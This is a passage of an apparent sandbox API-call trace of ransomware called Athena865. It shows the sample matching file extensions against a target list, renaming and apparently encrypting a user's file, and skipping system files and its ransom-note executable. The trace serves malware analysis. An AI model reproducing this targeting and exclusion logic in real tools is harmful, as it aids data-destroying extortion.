(lpString="^^^") returned 3 [0101.218] lstrcmpiW (lpString1="odp", lpString2="^^^") returned 1 [0101.218] lstrlenW (lpString="abs") returned 3 [0101.218] lstrcmpiW (lpString1="odp", lpString2="abs") returned 1 [0101.218] lstrlenW (lpString="abx") returned 3 [0101.218] lstrcmpiW (lpString1="odp", lpString2="abx") returned 1 [0101.218] lstrlenW (lpString="accdb") returned 5 [0101.218] lstrcmpiW (lpString1="I.odp", lpString2="accdb") returned 1 [0101.218] lstrlenW (lpString="accdc") returned 5 [0101.218] lstrcmpiW (lpString1="I.odp", lpString2="accdc") returned 1 [0101.218] lstrlenW (lpString="accde") returned 5 [0101.218] lstrcmpiW (lpString1="I.odp", lpString2="accde") returned 1 [0101.218] lstrlenW (lpString="accdr") returned 5 [0101.218] lstrcmpiW (lpString1="I.odp", lpString2="accdr") returned 1 [0101.218] lstrlenW (lpString="accdt") returned 5 [0101.218] lstrcmpiW (lpString1="I.odp", lpString2="accdt") returned 1 [0101.218] lstrlenW (lpString="accdw") returned 5 [0101.218] lstrcmpiW (lpString1="I.odp", lpString2="accdw") returned 1 [0101.218] lstrlenW (lpString="accft") returned 5 [0101.218] lstrcmpiW (lpString1="I.odp", lpString2="accft") returned 1 [0101.218] lstrlenW (lpString="adb") returned 3 [0101.218] lstrcmpiW (lpString1="odp", lpString2="adb") returned 1 [0101.218] lstrlenW (lpString="adb") returned 3 [0101.218] lstrcmpiW (lpString1="odp", lpString2="adb") returned 1 [0101.218] lstrlenW (lpString="ade") returned 3 [0101.218] lstrcmpiW (lpString1="odp", lpString2="ade") returned 1 [0101.218] lstrlenW (lpString="adf") returned 3 [0101.218] lstrcmpiW (lpString1="odp", lpString2="adf") returned 1 [0101.218] lstrlenW (lpString="adn") returned 3 [0101.219] lstrcmpiW (lpString1="odp", lpString2="adn") returned 1 [0101.219] lstrlenW (lpString="adp") returned 3 [0101.219] lstrcmpiW (lpString1="odp", lpString2="adp") returned 1 [0101.219] lstrlenW (lpString="alf") returned 3 [0101.219] lstrcmpiW (lpString1="odp", lpString2="alf") returned 1 [0101.219] lstrlenW (lpString="ask") returned 3 [0101.219] lstrcmpiW (lpString1="odp", lpString2="ask") returned 1 [0101.219] lstrlenW (lpString="btr") returned 3 [0101.219] lstrcmpiW (lpString1="odp", lpString2="btr") returned 1 [0101.219] lstrlenW (lpString="cat") returned 3 [0101.219] lstrcmpiW (lpString1="odp", lpString2="cat") returned 1 [0101.219] lstrlenW (lpString="cdb") returned 3 [0101.219] lstrcmpiW (lpString1="odp", lpString2="cdb") returned 1 [0101.219] lstrlenW (lpString="ckp") returned 3 [0101.219] lstrcmpiW (lpString1="odp", lpString2="ckp") returned 1 [0101.219] lstrlenW (lpString="cma") returned 3 [0101.219] lstrcmpiW (lpString1="odp", lpString2="cma") returned 1 [0101.219] lstrlenW (lpString="cpd") returned 3 [0101.219] lstrcmpiW (lpString1="odp", lpString2="cpd") returned 1 [0101.219] lstrlenW (lpString="dacpac") returned 6 [0101.219] lstrcmpiW (lpString1="aI.odp", lpString2="dacpac") returned -1 [0101.219] lstrlenW (lpString="dad") returned 3 [0101.219] lstrcmpiW (lpString1="odp", lpString2="dad") returned 1 [0101.219] lstrlenW (lpString="dadiagrams") returned 10 [0101.219] lstrcmpiW (lpString1="LIlBaI.odp", lpString2="dadiagrams") returned 1 [0101.219] lstrlenW (lpString="daschema") returned 8 [0101.219] lstrcmpiW (lpString1="lBaI.odp", lpString2="daschema") returned 1 [0101.219] lstrlenW (lpString="db-journal") returned 10 [0101.219] lstrcmpiW (lpString1="LIlBaI.odp", lpString2="db-journal") returned 1 [0101.219] lstrlenW (lpString="db-shm") returned 6 [0101.219] lstrcmpiW (lpString1="aI.odp", lpString2="db-shm") returned -1 [0101.220] lstrlenW (lpString="db-wal") returned 6 [0101.220] lstrcmpiW (lpString1="aI.odp", lpString2="db-wal") returned -1 [0101.220] lstrlenW (lpString="dbc") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dbc") returned 1 [0101.220] lstrlenW (lpString="dbs") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dbs") returned 1 [0101.220] lstrlenW (lpString="dbt") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dbt") returned 1 [0101.220] lstrlenW (lpString="dbv") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dbv") returned 1 [0101.220] lstrlenW (lpString="dbx") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dbx") returned 1 [0101.220] lstrlenW (lpString="dcb") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dcb") returned 1 [0101.220] lstrlenW (lpString="dct") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dct") returned 1 [0101.220] lstrlenW (lpString="dcx") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dcx") returned 1 [0101.220] lstrlenW (lpString="ddl") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="ddl") returned 1 [0101.220] lstrlenW (lpString="dlis") returned 4 [0101.220] lstrcmpiW (lpString1=".odp", lpString2="dlis") returned -1 [0101.220] lstrlenW (lpString="dp1") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dp1") returned 1 [0101.220] lstrlenW (lpString="dqy") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dqy") returned 1 [0101.220] lstrlenW (lpString="dsk") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dsk") returned 1 [0101.220] lstrlenW (lpString="dsn") returned 3 [0101.220] lstrcmpiW (lpString1="odp", lpString2="dsn") returned 1 [0101.220] lstrlenW (lpString="dtsx") returned 4 [0101.220] lstrcmpiW (lpString1=".odp", lpString2="dtsx") returned -1 [0101.221] lstrlenW (lpString="dxl") returned 3 [0101.221] lstrcmpiW (lpString1="odp", lpString2="dxl") returned 1 [0101.221] lstrlenW (lpString="eco") returned 3 [0101.221] lstrcmpiW (lpString1="odp", lpString2="eco") returned 1 [0101.221] lstrlenW (lpString="ecx") returned 3 [0101.221] lstrcmpiW (lpString1="odp", lpString2="ecx") returned 1 [0101.221] lstrlenW (lpString="edb") returned 3 [0101.221] lstrcmpiW (lpString1="odp", lpString2="edb") returned 1 [0101.221] lstrlenW (lpString="epim") returned 4 [0101.221] lstrcmpiW (lpString1=".odp", lpString2="epim") returned -1 [0101.221] lstrlenW (lpString="fcd") returned 3 [0101.221] lstrcmpiW (lpString1="odp", lpString2="fcd") returned 1 [0101.221] lstrlenW (lpString="fdb") returned 3 [0101.221] lstrcmpiW (lpString1="odp", lpString2="fdb") returned 1 [0101.221] lstrlenW (lpString="fic") returned 3 [0101.221] lstrcmpiW (lpString1="odp", lpString2="fic") returned 1 [0101.221] lstrlenW (lpString="flexolibrary") returned 12 [0101.221] lstrcmpiW (lpString1="P2LIlBaI.odp", lpString2="flexolibrary") returned 1 [0101.221] lstrlenW (lpString="fm5") returned 3 [0101.221] lstrcmpiW (lpString1="odp", lpString2="fm5") returned 1 [0101.221] lstrlenW (lpString="fmp") returned 3 [0101.221] lstrcmpiW (lpString1="odp", lpString2="fmp") returned 1 [0101.221] lstrlenW (lpString="fmp12") returned 5 [0101.221] lstrcmpiW (lpString1="I.odp", lpString2="fmp12") returned 1 [0101.221] lstrlenW (lpString="fmpsl") returned 5 [0101.221] lstrcmpiW (lpString1="I.odp", lpString2="fmpsl") returned 1 [0101.221] lstrlenW (lpString="fol") returned 3 [0101.221] lstrcmpiW (lpString1="odp", lpString2="fol") returned 1 [0101.221] lstrlenW (lpString="fp3") returned 3 [0101.221] lstrcmpiW (lpString1="odp", lpString2="fp3") returned 1 [0101.221] lstrlenW (lpString="fp4") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="fp4") returned 1 [0101.222] lstrlenW (lpString="fp5") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="fp5") returned 1 [0101.222] lstrlenW (lpString="fp7") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="fp7") returned 1 [0101.222] lstrlenW (lpString="fpt") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="fpt") returned 1 [0101.222] lstrlenW (lpString="frm") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="frm") returned 1 [0101.222] lstrlenW (lpString="gdb") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="gdb") returned 1 [0101.222] lstrlenW (lpString="gdb") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="gdb") returned 1 [0101.222] lstrlenW (lpString="grdb") returned 4 [0101.222] lstrcmpiW (lpString1=".odp", lpString2="grdb") returned -1 [0101.222] lstrlenW (lpString="gwi") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="gwi") returned 1 [0101.222] lstrlenW (lpString="hdb") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="hdb") returned 1 [0101.222] lstrlenW (lpString="his") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="his") returned 1 [0101.222] lstrlenW (lpString="ib") returned 2 [0101.222] lstrcmpiW (lpString1="dp", lpString2="ib") returned -1 [0101.222] lstrlenW (lpString="idb") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="idb") returned 1 [0101.222] lstrlenW (lpString="ihx") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="ihx") returned 1 [0101.222] lstrlenW (lpString="itdb") returned 4 [0101.222] lstrcmpiW (lpString1=".odp", lpString2="itdb") returned -1 [0101.222] lstrlenW (lpString="itw") returned 3 [0101.222] lstrcmpiW (lpString1="odp", lpString2="itw") returned 1 [0101.222] lstrlenW (lpString="jet") returned 3 [0101.223] lstrcmpiW (lpString1="odp", lpString2="jet") returned 1 [0101.223] lstrlenW (lpString="jtx") returned 3 [0101.223] lstrcmpiW (lpString1="odp", lpString2="jtx") returned 1 [0101.223] lstrlenW (lpString="kdb") returned 3 [0101.223] lstrcmpiW (lpString1="odp", lpString2="kdb") returned 1 [0101.223] lstrlenW (lpString="kexi") returned 4 [0101.223] lstrcmpiW (lpString1=".odp", lpString2="kexi") returned -1 [0101.223] lstrlenW (lpString="kexic") returned 5 [0101.223] lstrcmpiW (lpString1="I.odp", lpString2="kexic") returned -1 [0101.223] lstrlenW (lpString="kexis") returned 5 [0101.223] lstrcmpiW (lpString1="I.odp", lpString2="kexis") returned -1 [0101.223] lstrlenW (lpString="lgc") returned 3 [0101.223] lstrcmpiW (lpString1="odp", lpString2="lgc") returned 1 [0101.223] lstrlenW (lpString="lwx") returned 3 [0101.223] lstrcmpiW (lpString1="odp", lpString2="lwx") returned 1 [0101.223] lstrlenW (lpString="maf") returned 3 [0101.223] lstrcmpiW (lpString1="odp", lpString2="maf") returned 1 [0101.223] lstrlenW (lpString="maq") returned 3 [0101.223] lstrcmpiW (lpString1="odp", lpString2="maq") returned 1 [0101.223] lstrlenW (lpString="mar") returned 3 [0101.223] lstrcmpiW (lpString1="odp", lpString2="mar") returned 1 [0101.223] lstrlenW (lpString="marshal") returned 7 [0101.223] lstrcmpiW (lpString1="BaI.odp", lpString2="marshal") returned -1 [0101.223] lstrlenW (lpString="mas") returned 3 [0101.223] lstrcmpiW (lpString1="odp", lpString2="mas") returned 1 [0101.223] lstrlenW (lpString="mav") returned 3 [0101.223] lstrcmpiW (lpString1="odp", lpString2="mav") returned 1 [0101.223] lstrlenW (lpString="maw") returned 3 [0101.223] lstrcmpiW (lpString1="odp", lpString2="maw") returned 1 [0101.223] lstrlenW (lpString="mdbhtml") returned 7 [0101.223] lstrcmpiW (lpString1="BaI.odp", lpString2="mdbhtml") returned -1 [0101.224] lstrlenW (lpString="mdn") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="mdn") returned 1 [0101.224] lstrlenW (lpString="mdt") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="mdt") returned 1 [0101.224] lstrlenW (lpString="mfd") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="mfd") returned 1 [0101.224] lstrlenW (lpString="mpd") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="mpd") returned 1 [0101.224] lstrlenW (lpString="mrg") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="mrg") returned 1 [0101.224] lstrlenW (lpString="mud") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="mud") returned 1 [0101.224] lstrlenW (lpString="mwb") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="mwb") returned 1 [0101.224] lstrlenW (lpString="myd") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="myd") returned 1 [0101.224] lstrlenW (lpString="ndf") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="ndf") returned 1 [0101.224] lstrlenW (lpString="nnt") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="nnt") returned 1 [0101.224] lstrlenW (lpString="nrmlib") returned 6 [0101.224] lstrcmpiW (lpString1="aI.odp", lpString2="nrmlib") returned -1 [0101.224] lstrlenW (lpString="ns2") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="ns2") returned 1 [0101.224] lstrlenW (lpString="ns3") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="ns3") returned 1 [0101.224] lstrlenW (lpString="ns4") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="ns4") returned 1 [0101.224] lstrlenW (lpString="nsf") returned 3 [0101.224] lstrcmpiW (lpString1="odp", lpString2="nsf") returned 1 [0101.224] lstrlenW (lpString="nv") returned 2 [0101.225] lstrcmpiW (lpString1="dp", lpString2="nv") returned -1 [0101.225] lstrlenW (lpString="nv2") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="nv2") returned 1 [0101.225] lstrlenW (lpString="nwdb") returned 4 [0101.225] lstrcmpiW (lpString1=".odp", lpString2="nwdb") returned -1 [0101.225] lstrlenW (lpString="nyf") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="nyf") returned 1 [0101.225] lstrlenW (lpString="odb") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="odb") returned 1 [0101.225] lstrlenW (lpString="odb") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="odb") returned 1 [0101.225] lstrlenW (lpString="oqy") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="oqy") returned -1 [0101.225] lstrlenW (lpString="ora") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="ora") returned -1 [0101.225] lstrlenW (lpString="orx") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="orx") returned -1 [0101.225] lstrlenW (lpString="owc") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="owc") returned -1 [0101.225] lstrlenW (lpString="p96") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="p96") returned -1 [0101.225] lstrlenW (lpString="p97") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="p97") returned -1 [0101.225] lstrlenW (lpString="pan") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="pan") returned -1 [0101.225] lstrlenW (lpString="pdb") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="pdb") returned -1 [0101.225] lstrlenW (lpString="pdm") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="pdm") returned -1 [0101.225] lstrlenW (lpString="pnz") returned 3 [0101.225] lstrcmpiW (lpString1="odp", lpString2="pnz") returned -1 [0101.225] lstrlenW (lpString="qry") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="qry") returned -1 [0101.226] lstrlenW (lpString="qvd") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="qvd") returned -1 [0101.226] lstrlenW (lpString="rbf") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="rbf") returned -1 [0101.226] lstrlenW (lpString="rctd") returned 4 [0101.226] lstrcmpiW (lpString1=".odp", lpString2="rctd") returned -1 [0101.226] lstrlenW (lpString="rod") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="rod") returned -1 [0101.226] lstrlenW (lpString="rodx") returned 4 [0101.226] lstrcmpiW (lpString1=".odp", lpString2="rodx") returned -1 [0101.226] lstrlenW (lpString="rpd") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="rpd") returned -1 [0101.226] lstrlenW (lpString="rsd") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="rsd") returned -1 [0101.226] lstrlenW (lpString="sas7bdat") returned 8 [0101.226] lstrcmpiW (lpString1="lBaI.odp", lpString2="sas7bdat") returned -1 [0101.226] lstrlenW (lpString="sbf") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="sbf") returned -1 [0101.226] lstrlenW (lpString="scx") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="scx") returned -1 [0101.226] lstrlenW (lpString="sdb") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="sdb") returned -1 [0101.226] lstrlenW (lpString="sdc") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="sdc") returned -1 [0101.226] lstrlenW (lpString="sdf") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="sdf") returned -1 [0101.226] lstrlenW (lpString="sis") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="sis") returned -1 [0101.226] lstrlenW (lpString="spq") returned 3 [0101.226] lstrcmpiW (lpString1="odp", lpString2="spq") returned -1 [0101.227] lstrlenW (lpString="te") returned 2 [0101.227] lstrcmpiW (lpString1="dp", lpString2="te") returned -1 [0101.227] lstrlenW (lpString="teacher") returned 7 [0101.227] lstrcmpiW (lpString1="BaI.odp", lpString2="teacher") returned -1 [0101.227] lstrlenW (lpString="tmd") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="tmd") returned -1 [0101.227] lstrlenW (lpString="tps") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="tps") returned -1 [0101.227] lstrlenW (lpString="trc") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="trc") returned -1 [0101.227] lstrlenW (lpString="trc") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="trc") returned -1 [0101.227] lstrlenW (lpString="trm") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="trm") returned -1 [0101.227] lstrlenW (lpString="udb") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="udb") returned -1 [0101.227] lstrlenW (lpString="udl") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="udl") returned -1 [0101.227] lstrlenW (lpString="usr") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="usr") returned -1 [0101.227] lstrlenW (lpString="v12") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="v12") returned -1 [0101.227] lstrlenW (lpString="vis") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="vis") returned -1 [0101.227] lstrlenW (lpString="vpd") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="vpd") returned -1 [0101.227] lstrlenW (lpString="vvv") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="vvv") returned -1 [0101.227] lstrlenW (lpString="wdb") returned 3 [0101.227] lstrcmpiW (lpString1="odp", lpString2="wdb") returned -1 [0101.227] lstrlenW (lpString="wmdb") returned 4 [0101.228] lstrcmpiW (lpString1=".odp", lpString2="wmdb") returned -1 [0101.228] lstrlenW (lpString="wrk") returned 3 [0101.228] lstrcmpiW (lpString1="odp", lpString2="wrk") returned -1 [0101.228] lstrlenW (lpString="xdb") returned 3 [0101.228] lstrcmpiW (lpString1="odp", lpString2="xdb") returned -1 [0101.228] lstrlenW (lpString="xld") returned 3 [0101.228] lstrcmpiW (lpString1="odp", lpString2="xld") returned -1 [0101.228] lstrlenW (lpString="xmlff") returned 5 [0101.228] lstrcmpiW (lpString1="I.odp", lpString2="xmlff") returned -1 [0101.228] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\126u33D16r7P2LIlBaI.odp.Athena865") returned 92 [0101.228] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\126u33D16r7P2LIlBaI.odp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\126u33d16r7p2lilbai.odp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\126u33D16r7P2LIlBaI.odp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\126u33d16r7p2lilbai.odp.athena865"), dwFlags=0x1) returned 1 [0101.229] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\126u33D16r7P2LIlBaI.odp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\126u33d16r7p2lilbai.odp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.229] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24948) returned 1 [0101.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.229] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.230] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.230] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.230] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6480, lpName=0x0) returned 0x17c [0101.230] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6480) returned 0x100000 [0101.231] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.232] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.232] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.233] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.233] CloseHandle (hObject=0x17c) returned 1 [0101.233] CloseHandle (hObject=0x154) returned 1 [0101.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.235] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ecc42e0, ftCreationTime.dwHighDateTime=0x1d4c5ea, ftLastAccessTime.dwLowDateTime=0xe840a2d0, ftLastAccessTime.dwHighDateTime=0x1d4d3d2, ftLastWriteTime.dwLowDateTime=0xe840a2d0, ftLastWriteTime.dwHighDateTime=0x1d4d3d2, nFileSizeHigh=0x0, nFileSizeLow=0x641a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BO jW.swf", cAlternateFileName="BOJW~1.SWF")) returned 1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2=".") returned 1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="..") returned 1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="windows") returned -1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="bootmgr") returned -1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="temp") returned -1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="pagefile.sys") returned -1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="boot") returned -1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="ids.txt") returned -1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="ntuser.dat") returned -1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="perflogs") returned -1 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2="MSBuild") returned -1 [0101.235] lstrlenW (lpString="BO jW.swf") returned 9 [0101.235] lstrcpyW (in: lpString1=0x241e8be, lpString2="BO jW.swf" | out: lpString1="BO jW.swf") returned="BO jW.swf" [0101.235] lstrlenW (lpString="BO jW.swf") returned 9 [0101.235] lstrlenW (lpString="Athena865") returned 9 [0101.235] lstrlenW (lpString=".dll") returned 4 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2=".dll") returned 1 [0101.235] lstrlenW (lpString=".lnk") returned 4 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2=".lnk") returned 1 [0101.235] lstrlenW (lpString=".ini") returned 4 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2=".ini") returned 1 [0101.235] lstrlenW (lpString=".sys") returned 4 [0101.235] lstrcmpiW (lpString1="BO jW.swf", lpString2=".sys") returned 1 [0101.236] lstrlenW (lpString="BO jW.swf") returned 9 [0101.236] lstrlenW (lpString="bak") returned 3 [0101.236] lstrcmpiW (lpString1="swf", lpString2="bak") returned 1 [0101.236] lstrlenW (lpString="ba_") returned 3 [0101.236] lstrcmpiW (lpString1="swf", lpString2="ba_") returned 1 [0101.236] lstrlenW (lpString="dbb") returned 3 [0101.236] lstrcmpiW (lpString1="swf", lpString2="dbb") returned 1 [0101.236] lstrlenW (lpString="vmdk") returned 4 [0101.236] lstrcmpiW (lpString1=".swf", lpString2="vmdk") returned -1 [0101.236] lstrlenW (lpString="rar") returned 3 [0101.236] lstrcmpiW (lpString1="swf", lpString2="rar") returned 1 [0101.236] lstrlenW (lpString="zip") returned 3 [0101.236] lstrcmpiW (lpString1="swf", lpString2="zip") returned -1 [0101.236] lstrlenW (lpString="tgz") returned 3 [0101.236] lstrcmpiW (lpString1="swf", lpString2="tgz") returned -1 [0101.236] lstrlenW (lpString="vbox") returned 4 [0101.236] lstrcmpiW (lpString1=".swf", lpString2="vbox") returned -1 [0101.236] lstrlenW (lpString="vdi") returned 3 [0101.236] lstrcmpiW (lpString1="swf", lpString2="vdi") returned -1 [0101.236] lstrlenW (lpString="vhd") returned 3 [0101.236] lstrcmpiW (lpString1="swf", lpString2="vhd") returned -1 [0101.236] lstrlenW (lpString="vhdx") returned 4 [0101.236] lstrcmpiW (lpString1=".swf", lpString2="vhdx") returned -1 [0101.236] lstrlenW (lpString="avhd") returned 4 [0101.236] lstrcmpiW (lpString1=".swf", lpString2="avhd") returned -1 [0101.236] lstrlenW (lpString="db") returned 2 [0101.236] lstrcmpiW (lpString1="wf", lpString2="db") returned 1 [0101.236] lstrlenW (lpString="db2") returned 3 [0101.236] lstrcmpiW (lpString1="swf", lpString2="db2") returned 1 [0101.236] lstrlenW (lpString="db3") returned 3 [0101.236] lstrcmpiW (lpString1="swf", lpString2="db3") returned 1 [0101.236] lstrlenW (lpString="dbf") returned 3 [0101.237] lstrcmpiW (lpString1="swf", lpString2="dbf") returned 1 [0101.237] lstrlenW (lpString="mdf") returned 3 [0101.237] lstrcmpiW (lpString1="swf", lpString2="mdf") returned 1 [0101.237] lstrlenW (lpString="mdb") returned 3 [0101.237] lstrcmpiW (lpString1="swf", 